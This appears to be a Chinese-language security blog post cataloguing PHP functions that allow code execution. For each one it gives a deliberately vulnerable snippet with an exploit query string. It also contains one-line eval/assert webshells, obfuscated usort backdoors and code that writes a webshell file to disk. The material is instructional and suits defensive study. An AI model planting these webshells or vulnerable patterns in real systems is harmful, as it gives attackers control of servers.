0x01 漏洞案例

漏洞形成原因：客户端提交的参数，未经任何过滤，传入可以执行代码的函数，造成代码执行漏洞。

常见代码注射函数：

如：eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数

漏洞危害：执行代码，写入webshell、控制服务器

代码示例一：

```
<?php
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>
```

代码示例二：

```
<?php
//?cmd=${phpinfo()}
$str=$_GET['cmd'];
eval('$str="'.$str.'";');
?>
```

php 代码可以这样在双引号中被执行

代码示例三：

```
<?php
//?cmd=%27);phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>
```

代码示例四：preg_replace函数

```
<?php
preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>");
//等价于
preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>");
?>
```

0x02 常见代码执行函数

PHP中可以执行代码的函数，常用于编写一句话木马，可能导致代码执行漏洞，这里对代码执行函数做一些归纳。

常见代码执行函数，如

eval()、assert()、preg_replace()、create_function()

array_map()、call_user_func()、call_user_func_array()，array_filter，usort，uasort()

文件操作函数、动态函数（$a(b)$）

1、eval()

eval() 函数把字符串按照 PHP 代码来计算，如常见的一句话后门程序：

```
<?php eval($_POST[cmd])?>
```

2、assert()

与eval类似，字符串被 assert() 当做 PHP 代码来执行，如：

示例代码：

```
<?php
//?cmd=phpinfo()
assert($_REQUEST[cmd]);
?>
```

3、preg_replace()

mixed preg_replace (mixed $pattern, mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count]])

搜索subject中匹配pattern的部分， 以replacement进行替换。

preg_replace()函数原本是执行一个正则表达式的搜索和替换，但因为存在危险的/e修饰符，使 preg_replace() 将 replacement 参数当作 PHP 代码

示例代码：

```
<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>
```

4、create_function()

create_function主要用来创建匿名函数，如果没有严格对参数传递进行过滤，攻击者可以构造特殊字符串传递给create_function()执行任意命令。

代码示例：

```
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
```

5、array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上，并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

代码示例：

```
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
```

6、call_user_func()/call_user_func_array ()

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array — 调用回调函数，并把一个数组参数作为回调函数的参数

```
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
```

7、array_filter()

array array_filter (array $array[, callable callback [, int $flag = 0]])

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true，则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

```
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
```

8、usort()、uasort()

usort() 通过用户自定义的比较函数对数组进行排序。

uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

代码示例：

```
php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();

php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
```

9、文件操作函数

file_put_contents() 函数把一个字符串写入文件中。

fputs() 函数写入文件

代码示例:

```
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>
```

10、动态函数

PHP函数直接由字符串拼接

代码示例:

```
<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>
```

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。


Bypass